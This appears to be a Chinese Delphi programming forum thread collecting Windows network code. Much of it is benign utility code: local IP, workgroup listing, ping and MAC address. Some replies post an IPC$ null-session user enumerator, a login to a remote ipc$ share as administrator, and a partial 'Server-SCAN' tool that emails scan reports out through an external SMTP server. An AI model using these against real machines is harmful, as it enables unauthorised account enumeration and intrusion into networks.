100分求取网络方面的函数,收到即给分。 (100分)

  • 主题发起人 主题发起人 mfksoft
  • 开始时间 开始时间
M

mfksoft

Unregistered / Unconfirmed
GUEST, unregistred user!
100分求取网络方面的函数(取网卡MAC地址/取远程主机的用户列表及操作系统信息/与远程机器建立IPC$连接)。收到即给分。
 
什么意思,说明白些
可以全给他变为0
 
怎么,你想得负分了?[8D]
 
注:此问题修改过,原来提出的问题无人能解答,故现改为网络函数方面。
 
你是不是用了多个线程?若不同线程同时在使用一个数据集,就会出现此类错误,需要加上同步代码。
 
unit netFunc;

interface
uses
SysUtils
,Windows
,dialogs
,winsock
,Classes
,ComObj
,WinInet
,Variants;

//错误信息常量
const
C_Err_GetLocalIp = ‘获取本地ip失败‘;
C_Err_GetNameByIpAddr = ‘获取主机名失败‘;
C_Err_GetSQLServerList = ‘获取SQLServer服务器失败‘;
C_Err_GetUserResource = ‘获取共享资失败‘;
C_Err_GetGroupList = ‘获取所有工作组失败‘;
C_Err_GetGroupUsers = ‘获取工作组中所有计算机失败‘;
C_Err_GetNetList = ‘获取所有网络类型失败‘;
C_Err_CheckNet = ‘网络不通‘;
C_Err_CheckAttachNet = ‘未登入网络‘;
C_Err_InternetConnected =‘没有上网‘;

C_Txt_CheckNetSuccess = ‘网络畅通‘;
C_Txt_CheckAttachNetSuccess = ‘已登入网络‘;
C_Txt_InternetConnected =‘上网了‘;


//得到本机的局域网Ip地址
Function GetLocalIp(var LocalIp:string): Boolean;
//通过Ip返回机器名
Function GetNameByIPAddr(IPAddr: string; var MacName: string): Boolean ;
//获取网络中SQLServer列表
Function GetSQLServerList(var List: Tstringlist): Boolean;
//获取网络中的所有网络类型
Function GetNetList(var List: Tstringlist): Boolean;
//获取网络中的工作组
Function GetGroupList(var List: TStringList): Boolean;
//获取工作组中所有计算机
Function GetUsers(GroupName: string; var List: TStringList): Boolean;
//获取网络中的资源
Function GetUserResource(IpAddr: string; var List: TStringList): Boolean;
//映射网络驱动器
Function NetAddConnection(NetPath: Pchar; PassWord: Pchar;LocalPath: Pchar): Boolean;
//检测网络状态
Function CheckNet(IpAddr:string): Boolean;
//检测机器是否登入网络
Function CheckMacAttachNet: Boolean;

//判断Ip协议有没有安装 这个函数有问题
Function IsIPInstalled : boolean;
//检测机器是否上网
Function InternetConnected: Boolean;

//关闭网络连接
function NetCloseAll:boolean;
implementation

{=================================================================
功 能: 检测机器是否登入网络
参 数: 无
返回值: 成功: True 失败: False
备 注:
版 本:
1.0 2002/10/03 09:55:00
=================================================================}
Function CheckMacAttachNet: Boolean;
begin
Result := False;
if GetSystemMetrics(SM_NETWORK) <> 0 then
Result := True;
end;

{=================================================================
功 能: 返回本机的局域网Ip地址
参 数: 无
返回值: 成功: True, 并填充LocalIp 失败: False
备 注:
版 本:
1.0 2002/10/02 21:05:00
=================================================================}
function GetLocalIP(var LocalIp: string): Boolean;
var
HostEnt: PHostEnt;
Ip: string;
addr: pchar;
Buffer: array [0..63] of char;
GInitData: TWSADATA;
begin
Result := False;
try
WSAStartup(2, GInitData);
GetHostName(Buffer, SizeOf(Buffer));
HostEnt := GetHostByName(buffer);
if HostEnt = nil then Exit;
addr := HostEnt^.h_addr_list^;
ip := Format(‘%d.%d.%d.%d‘, [byte(addr [0]),
byte (addr [1]), byte (addr [2]), byte (addr [3])]);
LocalIp := Ip;
Result := True;
finally
WSACleanup;
end;
end;

{=================================================================
功 能: 通过Ip返回机器名
参 数:
IpAddr: 想要得到名字的Ip
返回值: 成功: 机器名 失败: ‘‘
备 注:
inet_addr function converts a string containing an Internet
Protocol dotted address into an in_addr.
版 本:
1.0 2002/10/02 22:09:00
=================================================================}
function GetNameByIPAddr(IPAddr : String;var MacName:String): Boolean;
var
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
WSAData: TWSAData;
begin
Result := False;
if IpAddr = ‘‘ then exit;
try
WSAStartup(2, WSAData);
SockAddrIn.sin_addr.s_addr := inet_addr(PChar(IPAddr));
HostEnt := gethostbyaddr(@SockAddrIn.sin_addr.S_addr, 4, AF_INET);
if HostEnt <> nil then
MacName := StrPas(Hostent^.h_name);
Result := True;
finally
WSACleanup;
end;
end;

{=================================================================
功 能: 返回网络中SQLServer列表
参 数:
List: 需要填充的List
返回值: 成功: True,并填充List 失败 False
备 注:
版 本:
1.0 2002/10/02 22:44:00
=================================================================}
Function GetSQLServerList(var List: Tstringlist): boolean;
var
i: integer;
sRetValue: String;
SQLServer: Variant;
ServerList: Variant;
begin
Result := False;
List.Clear;
try
SQLServer := CreateOleObject(‘SQLDMO.Application‘);
ServerList := SQLServer.ListAvailableSQLServers;
for i := 1 to Serverlist.Count do
list.Add (Serverlist.item(i));
Result := True;
Finally
SQLServer := NULL;
ServerList := NULL;
end;
end;

{=================================================================
功 能: 判断Ip协议有没有安装
参 数: 无
返回值: 成功: True 失败: False;
备 注: 该函数还有问题
版 本:
1.0 2002/10/02 21:05:00
=================================================================}
Function IsIPInstalled : boolean;
var
WSData: TWSAData;
ProtoEnt: PProtoEnt;
begin
Result := True;
try
if WSAStartup(2,WSData) = 0 then
begin
ProtoEnt := GetProtoByName(‘IP‘);
if ProtoEnt = nil then
Result := False
end;
finally
WSACleanup;
end;
end;


{=================================================================
功 能: 返回网络中的共享资源
参 数:
IpAddr: 机器Ip
List: 需要填充的List
返回值: 成功: True,并填充List 失败: False;
备 注:
WNetOpenEnum function starts an enumeration of network
resources or existing connections.
WNetEnumResource function continues a network-resource
enumeration started by the WNetOpenEnum function.
版 本:
1.0 2002/10/03 07:30:00
=================================================================}
Function GetUserResource(IpAddr: string; var List: TStringList): Boolean;
type
TNetResourceArray = ^TNetResource;//网络类型的数组
Var
i: Integer;
Buf: Pointer;
Temp: TNetResourceArray;
lphEnum: THandle;
NetResource: TNetResource;
Count,BufSize,Res: DWord;
Begin
Result := False;
List.Clear;
if copy(Ipaddr,0,2) <> ‘‘ then
IpAddr := ‘‘+IpAddr; //填充Ip地址信息
FillChar(NetResource, SizeOf(NetResource), 0);//初始化网络层次信息
NetResource.lpRemoteName := @IpAddr[1];//指定计算机名称
//获取指定计算机的网络资源句柄
Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_ANY,
RESOURCEUSAGE_CONNECTABLE, @NetResource,lphEnum);
if Res <> NO_ERROR then exit;//执行失败
while True do//列举指定工作组的网络资源
begin
Count := $FFFFFFFF;//不限资源数目
BufSize := 8192;//缓冲区大小设置为8K
GetMem(Buf, BufSize);//申请内存,用于获取工作组信息
//获取指定计算机的网络资源名称
Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);
if Res = ERROR_NO_MORE_ITEMS then break;//资源列举完毕
if (Res <> NO_ERROR) then Exit;//执行失败
Temp := TNetResourceArray(Buf);
for i := 0 to Count - 1 do
begin
//获取指定计算机中的共享资源名称,+2表示删除"",
//如192.168.0.1 => 192.168.0.1
List.Add(Temp^.lpRemoteName + 2);
Inc(Temp);
end;
end;
Res := WNetCloseEnum(lphEnum);//关闭一次列举
if Res <> NO_ERROR then exit;//执行失败
Result := True;
FreeMem(Buf);
End;

{=================================================================
功 能: 返回网络中的工作组
参 数:
List: 需要填充的List
返回值: 成功: True,并填充List 失败: False;
备 注:
版 本:
1.0 2002/10/03 08:00:00
=================================================================}
Function GetGroupList( var List : TStringList ) : Boolean;
type
TNetResourceArray = ^TNetResource;//网络类型的数组
Var
NetResource: TNetResource;
Buf: Pointer;
Count,BufSize,Res: DWORD;
lphEnum: THandle;
p: TNetResourceArray;
i,j: SmallInt;
NetworkTypeList: TList;
Begin
Result := False;
NetworkTypeList := TList.Create;
List.Clear;
//获取整个网络中的文件资源的句柄,lphEnum为返回名柄
Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
RESOURCEUSAGE_CONTAINER, Nil,lphEnum);
if Res <> NO_ERROR then exit;//Raise Exception(Res);//执行失败
//获取整个网络中的网络类型信息
Count := $FFFFFFFF;//不限资源数目
BufSize := 8192;//缓冲区大小设置为8K
GetMem(Buf, BufSize);//申请内存,用于获取工作组信息
Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);
//资源列举完毕 //执行失败
if ( Res = ERROR_NO_MORE_ITEMS ) or (Res <> NO_ERROR ) then Exit;
P := TNetResourceArray(Buf);
for i := 0 to Count - 1 do//记录各个网络类型的信息
begin
NetworkTypeList.Add(p);
Inc(P);
end;
Res := WNetCloseEnum(lphEnum);//关闭一次列举
if Res <> NO_ERROR then exit;
for j := 0 to NetworkTypeList.Count-1 do //列出各个网络类型中的所有工作组名称
begin//列出一个网络类型中的所有工作组名称
NetResource := TNetResource(NetworkTypeList.Items[J]^);//网络类型信息
//获取某个网络类型的文件资源的句柄,NetResource为网络类型信息,lphEnum为返回名柄
Res := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
RESOURCEUSAGE_CONTAINER, @NetResource,lphEnum);
if Res <> NO_ERROR then break;//执行失败
while true do//列举一个网络类型的所有工作组的信息
begin
Count := $FFFFFFFF;//不限资源数目
BufSize := 8192;//缓冲区大小设置为8K
GetMem(Buf, BufSize);//申请内存,用于获取工作组信息
//获取一个网络类型的文件资源信息,
Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);
//资源列举完毕 //执行失败
if ( Res = ERROR_NO_MORE_ITEMS ) or (Res <> NO_ERROR) then break;
P := TNetResourceArray(Buf);
for i := 0 to Count - 1 do//列举各个工作组的信息
begin
List.Add( StrPAS( P^.lpRemoteName ));//取得一个工作组的名称
Inc(P);
end;
end;
Res := WNetCloseEnum(lphEnum);//关闭一次列举
if Res <> NO_ERROR then break;//执行失败
end;
Result := True;
FreeMem(Buf);
NetworkTypeList.Destroy;
End;

{=================================================================
功 能: 列举工作组中所有的计算机
参 数:
List: 需要填充的List
返回值: 成功: True,并填充List 失败: False;
备 注:
版 本:
1.0 2002/10/03 08:00:00
=================================================================}
Function GetUsers(GroupName: string; var List: TStringList): Boolean;
type
TNetResourceArray = ^TNetResource;//网络类型的数组
Var
i: Integer;
Buf: Pointer;
Temp: TNetResourceArray;
lphEnum: THandle;
NetResource: TNetResource;
Count,BufSize,Res: DWord;
begin
Result := False;
List.Clear;
FillChar(NetResource, SizeOf(NetResource), 0);//初始化网络层次信息
NetResource.lpRemoteName := @GroupName[1];//指定工作组名称
NetResource.dwDisplayType := RESOURCEDISPLAYTYPE_SERVER;//类型为服务器(工作组)
NetResource.dwUsage := RESOURCEUSAGE_CONTAINER;
NetResource.dwScope := RESOURCETYPE_DISK;//列举文件资源信息
//获取指定工作组的网络资源句柄
Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
RESOURCEUSAGE_CONTAINER, @NetResource,lphEnum);
if Res <> NO_ERROR then Exit; //执行失败
while True do//列举指定工作组的网络资源
begin
Count := $FFFFFFFF;//不限资源数目
BufSize := 8192;//缓冲区大小设置为8K
GetMem(Buf, BufSize);//申请内存,用于获取工作组信息
//获取计算机名称
Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);
if Res = ERROR_NO_MORE_ITEMS then break;//资源列举完毕
if (Res <> NO_ERROR) then Exit;//执行失败
Temp := TNetResourceArray(Buf);
for i := 0 to Count - 1 do//列举工作组的计算机名称
begin
//获取工作组的计算机名称,+2表示删除"",如wangfajun=>wangfajun
List.Add(Temp^.lpRemoteName + 2);
inc(Temp);
end;
end;
Res := WNetCloseEnum(lphEnum);//关闭一次列举
if Res <> NO_ERROR then exit;//执行失败
Result := True;
FreeMem(Buf);
end;

{=================================================================
功 能: 列举所有网络类型
参 数:
List: 需要填充的List
返回值: 成功: True,并填充List 失败: False;
备 注:
版 本:
1.0 2002/10/03 08:54:00
=================================================================}
Function GetNetList(var List: Tstringlist): Boolean;
type
TNetResourceArray = ^TNetResource;//网络类型的数组
Var
p: TNetResourceArray;
Buf: Pointer;
i: SmallInt;
lphEnum: THandle;
NetResource: TNetResource;
Count,BufSize,Res: DWORD;
begin
Result := False;
List.Clear;
Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
RESOURCEUSAGE_CONTAINER, Nil,lphEnum);
if Res <> NO_ERROR then exit;//执行失败
Count := $FFFFFFFF;//不限资源数目
BufSize := 8192;//缓冲区大小设置为8K
GetMem(Buf, BufSize);//申请内存,用于获取工作组信息
Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);//获取网络类型信息
//资源列举完毕 //执行失败
if ( Res = ERROR_NO_MORE_ITEMS ) or (Res <> NO_ERROR ) then Exit;
P := TNetResourceArray(Buf);
for i := 0 to Count - 1 do//记录各个网络类型的信息
begin
List.Add(p^.lpRemoteName);
Inc(P);
end;
Res := WNetCloseEnum(lphEnum); //关闭一次列举
if Res <> NO_ERROR then exit; //执行失败
Result := True;
FreeMem(Buf); //释放内存
end;

{=================================================================
功 能: 映射网络驱动器
参 数:
NetPath: 想要映射的网络路径
Password: 访问密码
Localpath 本地路径
返回值: 成功: True 失败: False;
备 注:
版 本:
1.0 2002/10/03 09:24:00
=================================================================}
Function NetAddConnection(NetPath: Pchar; PassWord: Pchar
;LocalPath: Pchar): Boolean;
var
Res: Dword;
begin
Result := False;
Res := WNetAddConnection(NetPath,Password,LocalPath);
if Res <> No_Error then exit;
Result := True;
end;

{=================================================================
功 能: 检测网络状态
参 数:
IpAddr: 被测试网络上主机的IP地址或名称,建议使用Ip
返回值: 成功: True 失败: False;
备 注:
版 本:
1.0 2002/10/03 09:40:00
=================================================================}
Function CheckNet(IpAddr: string): Boolean;
type
PIPOptionInformation = ^TIPOptionInformation;
TIPOptionInformation = packed record
TTL: Byte; // Time To Live (used for traceroute)
TOS: Byte; // Type Of Service (usually 0)
Flags: Byte; // IP header flags (usually 0)
OptionsSize: Byte; // Size of options data (usually 0, max 40)
OptionsData: PChar; // Options data buffer
end;

PIcmpEchoReply = ^TIcmpEchoReply;
TIcmpEchoReply = packed record
Address: DWord; // replying address
Status: DWord; // IP status value (see below)
RTT: DWord; // Round Trip Time in milliseconds
DataSize: Word; // reply data size
Reserved: Word;
Data: Pointer; // pointer to reply data buffer
Options: TIPOptionInformation; // reply options
end;

TIcmpCreateFile = function: THandle; stdcall;
TIcmpCloseHandle = function(IcmpHandle: THandle): Boolean; stdcall;
TIcmpSendEcho = function(
IcmpHandle: THandle;
DestinationAddress: DWord;
RequestData: Pointer;
RequestSize: Word;
RequestOptions: PIPOptionInformation;
ReplyBuffer: Pointer;
ReplySize: DWord;
Timeout: DWord
): DWord; stdcall;

const
Size = 32;
TimeOut = 1000;
var
wsadata: TWSAData;
Address: DWord; // Address of host to contact
HostName, HostIP: String; // Name and dotted IP of host to contact
Phe: PHostEnt; // HostEntry buffer for name lookup
BufferSize, nPkts: Integer;
pReqData, pData: Pointer;
pIPE: PIcmpEchoReply; // ICMP Echo reply buffer
IPOpt: TIPOptionInformation; // IP Options for packet to send
const
IcmpDLL = ‘icmp.dll‘;
var
hICMPlib: HModule;
IcmpCreateFile : TIcmpCreateFile;
IcmpCloseHandle: TIcmpCloseHandle;
IcmpSendEcho: TIcmpSendEcho;
hICMP: THandle; // Handle for the ICMP Calls
begin
// initialise winsock
Result:=True;
if WSAStartup(2,wsadata) <> 0 then begin
Result:=False;
halt;
end;
// register the icmp.dll stuff
hICMPlib := loadlibrary(icmpDLL);
if hICMPlib <> null then begin
@ICMPCreateFile := GetProcAddress(hICMPlib, ‘IcmpCreateFile‘);
@IcmpCloseHandle:= GetProcAddress(hICMPlib, ‘IcmpCloseHandle‘);
@IcmpSendEcho:= GetProcAddress(hICMPlib, ‘IcmpSendEcho‘);
if (@ICMPCreateFile = Nil) or (@IcmpCloseHandle = Nil) or (@IcmpSendEcho = Nil) then begin
Result:=False;
halt;
end;
hICMP := IcmpCreateFile;
if hICMP = INVALID_HANDLE_VALUE then begin
Result:=False;
halt;
end;
end else begin
Result:=False;
halt;
end;
// ------------------------------------------------------------
Address := inet_addr(PChar(IpAddr));
if (Address = INADDR_NONE) then begin
Phe := GetHostByName(PChar(IpAddr));
if Phe = Nil then Result:=False
else begin
Address := longint(plongint(Phe^.h_addr_list^)^);
HostName := Phe^.h_name;
HostIP := StrPas(inet_ntoa(TInAddr(Address)));
end;
end
else begin
Phe := GetHostByAddr(@Address, 4, PF_INET);
if Phe = Nil then Result:=False;
end;

if Address = INADDR_NONE then
begin
Result:=False;
end;
// Get some data buffer space and put something in the packet to send
BufferSize := SizeOf(TICMPEchoReply) + Size;
GetMem(pReqData, Size);
GetMem(pData, Size);
GetMem(pIPE, BufferSize);
FillChar(pReqData^, Size, $AA);
pIPE^.Data := pData;

// Finally Send the packet
FillChar(IPOpt, SizeOf(IPOpt), 0);
IPOpt.TTL := 64;
NPkts := IcmpSendEcho(hICMP, Address, pReqData, Size,
@IPOpt, pIPE, BufferSize, TimeOut);
if NPkts = 0 then Result:=False;

// Free those buffers
FreeMem(pIPE); FreeMem(pData); FreeMem(pReqData);

// --------------------------------------------------------------
IcmpCloseHandle(hICMP);
FreeLibrary(hICMPlib);
// free winsock
if WSACleanup <> 0 then Result:=False;
end;


{=================================================================
功 能: 检测计算机是否上网
参 数: 无
返回值: 成功: True 失败: False;
备 注: uses Wininet
版 本:
1.0 2002/10/07 13:33:00
=================================================================}
function InternetConnected: Boolean;
const
// local system uses a modem to connect to the Internet.
INTERNET_CONNECTION_MODEM = 1;
// local system uses a local area network to connect to the Internet.
INTERNET_CONNECTION_LAN = 2;
// local system uses a proxy server to connect to the Internet.
INTERNET_CONNECTION_PROXY = 4;
// local system‘s modem is busy with a non-Internet connection.
INTERNET_CONNECTION_MODEM_BUSY = 8;
var
dwConnectionTypes : DWORD;
begin
dwConnectionTypes := INTERNET_CONNECTION_MODEM+ INTERNET_CONNECTION_LAN
+ INTERNET_CONNECTION_PROXY;
Result := InternetGetConnectedState(@dwConnectionTypes, 0);
end;


//关闭网络连接
function NetCloseAll:boolean;
const
NETBUFF_SIZE=$208;
type
NET_API_STATUS=DWORD;
LPByte=PByte;
var
dwNetRet :DWORD;
i :integer;
dwEntries :DWORD;
dwTotalEntries :DWORD;
szClient :LPWSTR;
dwUserName :DWORD;
Buff :array[0..NETBUFF_SIZE-1]of byte;
Adword :array[0..NETBUFF_SIZE div 4-1] of dword;
NetSessionEnum:function ( ServerName:LPSTR;
Reserved:DWORD;
Buf:LPByte;
BufLen:DWORD;
ConnectionCount:LPDWORD;
ConnectionToltalCount:LPDWORD ):NET_API_STATUS;
stdcall;

NetSessionDel:function ( ServerName:LPWSTR;
UncClientName: LPWSTR ;
UserName: dword):NET_API_STATUS;
stdcall;
LibHandle : THandle;
begin
Result:=false;
try
{ 加载 DLL }
LibHandle := LoadLibrary(‘svrapi.dll‘);
try
{ 如果加载失败,LibHandle = 0.}
if LibHandle = 0 then
raise Exception.Create(‘不能加载SVRAPI.DLL‘);
{ DLL 加载成功,取得到 DLL 输出函数的连接然后调用 }
@NetSessionEnum := GetProcAddress(LibHandle, ‘NetSessionEnum‘);
@NetSessionDel := GetProcAddress(LibHandle, ‘NetSessionDel‘);

if (@NetSessionEnum = nil)or(@NetSessionDel=nil) then
RaiseLastWin32Error { 连接函数失败 }
else
begin
dwNetRet := NetSessionEnum( nil,$32, @Buff,
NETBUFF_SIZE, @dwEntries,
@dwTotalEntries );
if dwNetRet = 0 then
begin
Result := true;
for i:=0 to dwTotalEntries-1 do
begin
Move(Buff,Adword,NETBUFF_SIZE);
szClient:=LPWSTR(Adword[0]);
dwUserName := Adword[2];
dwNetRet := NetSessionDel( nil,szClient,dwUserName);
if( dwNetRet <> 0 ) then
begin
Result := false;
break;
end;
Move(Buff[26],Buff[0],NETBUFF_SIZE-(i+1)*26);
end
end
else
Result := false;
end;
finally
FreeLibrary(LibHandle); // Unload the DLL.
end;
except
end;
end;

end.
 
to ego,
你上面的函数我有,我现在要取网卡MAC地址/取远程主机的用户列表及操作系统信息/与远程机器建立IPC$连接方面的函数。
 
手上有个取网卡MAC地址的,一直在用。
网络方面了解不多,其余的无能为力!

// uses Nb30
// 获得第a+1块网卡地址 *********************************************************

function GetMACAddress(a: integer): string;
var
NCB: TNCB;
ADAPTER: TADAPTERSTATUS;
LANAENUM: TLANAENUM;
intidx: integer;
crc: char;
strtemp: string;
begin
result:='';
try
zeromemory(@NCB, sizeof(NCB));
NCB.ncb_command := chr(NCBENUM);
netbios(@NCB);
NCB.ncb_buffer := @LANAENUM;
NCB.ncb_length := sizeof(LANAENUM);
crc := netbios(@NCB);
if ord(crc)<>0 then
exit;
zeromemory(@NCB, sizeof(NCB));
NCB.ncb_command := chr(NCBRESET);
NCB.ncb_lana_num := LANAENUM.lana[a];
crc := netbios(@NCB);
if ord(crc)<>0 then
exit;
zeromemory(@NCB, sizeof(NCB));
NCB.ncb_command := chr(NCBASTAT);
NCB.ncb_lana_num := LANAENUM.lana[a];
strpcopy(NCB.ncb_callname, '*');
NCB.ncb_buffer := @ADAPTER;
NCB.ncb_length := sizeof(ADAPTER);
netbios(@NCB);
strtemp := '';
for intidx := 0 to 5 do
strtemp := strtemp + inttohex(integer(ADAPTER.adapter_address[intidx]), 2);
result := strtemp;
finally
end;
end;
 
先谢过了,等把其他两个函数问到了一并给分。
顺便问一下,怎么知道电脑装了几个网卡?
 
用户名列表代码

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
ListBox1: TListBox;
Edit1: TEdit;
Label1: TLabel;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
function NetUserEnum(ServerName: PWideChar;
Level,
Filter: DWord;
var Buffer: Pointer;
PrefMaxLen: DWord;
var EntriesRead,
TotalEntries,
ResumeHandle: DWord): LongWord; stdcall; external 'netapi32.dll';
function NetApiBufferFree(pBuffer: PByte): LongInt; stdcall; external
'netapi32.dll';
implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
type
USER_INFO_1 = record
usri1_name: LPWSTR;
usri1_password: LPWSTR;
usri1_password_age: DWORD;
usri1_priv: DWORD;
usri1_home_dir: LPWSTR;
usri1_comment: LPWSTR;
usri1_flags: DWORD;
usri1_script_path: LPWSTR;
end;
lpUSER_INFO_1 = ^USER_INFO_1;
var seaNetResource:tnetresource;
searesult:dword;
EntiesRead: DWORD;
TotalEntries: DWORD;
UserInfo: lpUSER_INFO_1;
lpBuffer: Pointer;
ResumeHandle: DWord;
Counter: Integer;
NetApiStatus: LongWord;
x:pwidechar;
begin
button1.Enabled:=false;
getmem(x,255);
seaNetResource.dwScope:=RESOURCE_GLOBALNET;
seaNetResource.dwType:=RESOURCETYPE_ANY;
seaNetResource.lpLocalName:=PChar('');
seaNetResource.lpRemoteName:=PChar('//'+edit1.Text+'/IPC$');
seaNetResource.lpProvider:=PChar('');
seaResult:=WNetAddConnection2(seaNetResource,PChar(''),PChar(''),CONNECT_prompt);
ResumeHandle := 0;
if searesult=NO_ERROR then
repeat
label1.Caption:='建立空连接成功';
stringtowidechar('//'+edit1.Text,x,255);
NetApiStatus := NetUserEnum(x, 1, 0, lpBuffer, 0, EntiesRead,TotalEntries, ResumeHandle);
UserInfo := lpBuffer;
//showmessage('hao');
for Counter := 0 to EntiesRead - 1 do //可以没有这个结构
begin
listbox1.items.add(WideCharToString(UserInfo^.usri1_name) + ' --> ' +
WideCharToString(UserInfo^.usri1_comment));
Inc(UserInfo);
end;
NetApiBufferFree(lpBuffer);
until (NetApiStatus <> ERROR_MORE_DATA)
else
showmessage('连接失败');
button1.Enabled:=true;
freemem(x);
end;

end.
 
IPC$连接代码~
给分`
我穷`

var
NetSource:TNetResource;
a:Longint;
begin
NetSource.dwType:=RESOURCETYPE_ANY;
NetSource.lpLocalName:='';
NetSource.lpRemoteName:=pchar('//192.168.0.1/ipc$');
NetSource.lpProvider:='';
form1.edit2.Text:=form1.memo1.Lines;
a:=WnetAddConnection2(NetSource,pchar('pass'),pchar('administrator'),0);
if a=0 then showmessage('连接成功');
WNetCancelConnection2(NetSource.lpRemoteName,0,True);
 
查一查NetUserAdd等相关API吧.
WNetAddConnection 重定向本地设备网络资源
WNetAddConnection2 重定向本地设备网络资源
WNetCancelConnection 断开网络连接
WNetCancelConnection2 断开网络连接
WNetCloseEnum 结束网络资源列表
WNetConnectionDialog 开始网络连接对话框
WNetDisconnectDialog 断开网络对话框
WNetEnumResource 继续列表网络资源
WNetGetConnection 获取网络资源名
WNetGetLastError 返回网络函数最近错误
WNetGetUniversalName
WNetGetUser 获取当前网络用户名
WNetOpenEnum 列出网络资源
 
to angelgekko,xebaobei,xebaobei,AK-47,
谢谢几位,最迟明天结分。
最后问一下,怎么取对方机器的信息(如操作系统版本号等),怎么知道自己有几块网卡?
 
如何判别机器中有几块网卡
http://www.delphibbs.com/delphibbs/dispq.asp?lid=680734

不过,那是C语言写的。
 
操作系统信息
但是要求对方运行一下这个程序`
然后你远程连接他1005端口
TELNET IP 1005


object Form1: TForm1
Left = 63
Top = 434
Width = 306
Height = 205
Caption = 'Form1'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
OnCreate = FormCreate
PixelsPerInch = 96
TextHeight = 13
object Memo1: TMemo
Left = 112
Top = 0
Width = 185
Height = 177
TabOrder = 0
end
object ServerSocket1: TServerSocket
Active = True
Port = 1005
ServerType = stNonBlocking
ThreadCacheSize = 1
OnClientConnect = ServerSocket1ClientConnect
OnClientDisconnect = ServerSocket1ClientDisconnect
OnClientRead = ServerSocket1ClientRead
Left = 8
Top = 8
end
object IdSMTP1: TIdSMTP
Left = 40
Top = 56
end
object IdMessage1: TIdMessage
BccList = <>
CCList = <>
Recipients = <>
ReplyTo = <>
Left = 72
Top = 32
end
end










unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, StdCtrls, IdMessage, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, registry,mmsystem;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
Memo1: TMemo;
IdSMTP1: TIdSMTP;
IdMessage1: TIdMessage;
procedure ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
procedure email(mail:string);
procedure ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
private
temp:string;
b:integer;
qip,ip,mail,zjx,xcx: string;
real: boolean;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation


procedure TForm1.email(mail:string);
Var
Body:TStringList;
begin
Body:=TStringList.Create;
Body.Add(memo1.Lines.Text);
IdMessage1.Body.Assign(Body);
IdMessage1.From.Text:='faqone@peoplemail.com.cn';
IdMessage1.Recipients.EMailAddresses:=mail;
IdMessage1.Subject:='SREVER-IPC$ SCAN 扫描报告';
self.idSMTP1.AuthenticationType:=atLogin;
IdSMTP1.UserID:='faqone';
IdSMTP1.Password:='ccccccc';
idsmtp1.Port:=25;
IdSMTP1.Host:='smtp.peoplemail.com.cn';
IdSMTP1.Connect;
try
IdSMTP1.Send(IdMessage1);
finally
IdSMTP1.Disconnect;
end;
memo1.Lines.Add('OK');
end;

{$R *.dfm}

procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
var
OSVI:OSVERSIONINFO;
s:string;
is98orlater:boolean;
SysInfo: SYSTEM_INFO;
memlnfo: memorystatus;
sysdir: array[0..255] of char;
reg: tregistry;
begin
memo1.Lines.Add(Socket.RemoteAddress+'连接本机');
if (ServerSocket1.Socket.ActiveConnections=1)and(real=true) then
begin
b:=1;
temp:='';
qip:=Socket.RemoteAddress;

socket.SendText('┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━┓'+#13+#10);
socket.SendText('┃┏┅┅┅┅┅┅┅┅┅┅┅┅┅┅┓┃ ┃'+#13+#10);
socket.SendText('┃┇欢迎使用 Server-SCAN 测试版┇┃ ┃'+#13+#10);
socket.SendText('┃┇制作人:黑冰 ┇┃ ┃'+#13+#10);
socket.SendText('┃┇O I CQ:3860040 ┇┃ ┃'+#13+#10);
socket.SendText('┃┇M ail:szq993@163.com ┇┃ ┃'+#13+#10);
socket.SendText('┃┗┅┅┅┅┅┅┅┅┅┅┅┅┅┅┛┃ ┃'+#13+#10);
socket.SendText('┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━┛'+#13+#10);

//-------------------------------------------------------
socket.Sendtext(' ※━系统信息━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━》'+#13+#10);
socket.Sendtext(' '+socket.LocalAddress+'['+socket.LocalHost+']' );
socket.SendText(#13+#10);
socket.SendText(#13+#10);
socket.Sendtext(' ☆WINDOS系统版本号以及运行模式'+#13+#10);

OSVI.dwOSVersionInfoSize:=sizeof(OSVERSIONINFO);
//设置版本信息结构的大小
GetVersionEx(OSVI);
//获取版本信息
is98orlater:=
//判断是否98或以后版本
(osvi.dwPlatformId=VER_PLATFORM_WIN32_WINDOWS) and
((osvi.dwMajorVersion>4) or
((osvi.dwMajorVersion=4) and (osvi.dwMinorVersion>0)));

//下面开始显示信息
case OSVI.dwPlatformId of
//根据OSVI.dwPlatformId的数值的不同显示具体的平台描述
VER_PLATFORM_WIN32s:
// Windows 3.1平台
s:='Windows 3.1';
VER_PLATFORM_WIN32_WINDOWS:
// Windows 95/98平台
if(is98orlater) then
//98
